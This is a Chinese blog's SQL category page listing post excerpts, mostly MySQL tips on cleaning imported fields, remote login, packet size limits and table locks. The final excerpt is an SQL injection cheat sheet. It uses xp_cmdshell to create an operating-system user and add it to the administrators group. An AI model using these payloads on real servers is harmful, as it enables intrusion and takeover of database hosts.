随笔分类 - SQL
摘要:问题:脚本执行从csv文件批量插入,csv文件存在导出不规范,导致字段插入混入tab和空格,还有“ 需求:去除数据字段中的指定字符 update tableName set column=replace(column,char(09),''); //char(09) 则代表tab,09是tab的as
阅读全文
posted @ 2021-06-18 14:20
喵个咪的
摘要:解决方法:1。 改表法。可能是你的帐号不允许从远程登陆,只能在localhost。这个时候只要在localhost的那台电脑,登入mysql后,更改 "mysql" 数据库里的 "user" 表里的 "host" 项,从"localhost"改称"%"mysql -u root -pvmwaremy...
阅读全文
摘要:mysql根据配置文件会限制server接受的数据包大小。有时候大的插入和更新会受max_allowed_packet 参数限制,导致写入或者更新失败。查看目前配置show VARIABLES like '%max_allowed_packet%';显示的结果为:+-----------------...
阅读全文
摘要:用phpMyAdmin导入mysql数据库时,我的10M的数据库不能导入,提示mysql数据库最大只能导入2M。phpMyAdmin数据库导入出错:You probably tried to upload too large file. Please refer to documentation f...
阅读全文
摘要:php mysql lock tables 使用有感mysql 的 表锁 lock tables 感觉就像一个 封闭的空间mysql发现 lock tables 命令的时候,会将带有锁标记的表(table) 带入封闭空间,直到 出现 unlock tables 命令 或 线程结束, 才关闭封闭空间。...
阅读全文
摘要:sql注入语句大全--是否存在xp_cmdshell and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell') --用xp_cmdshell执行命令 ;exec master..xp_cmdshell "net user name password /add"-- ;exec master..xp_cmdshell "net localgroup name administrators /add"
阅读全文

浙公网安备 33010602011771号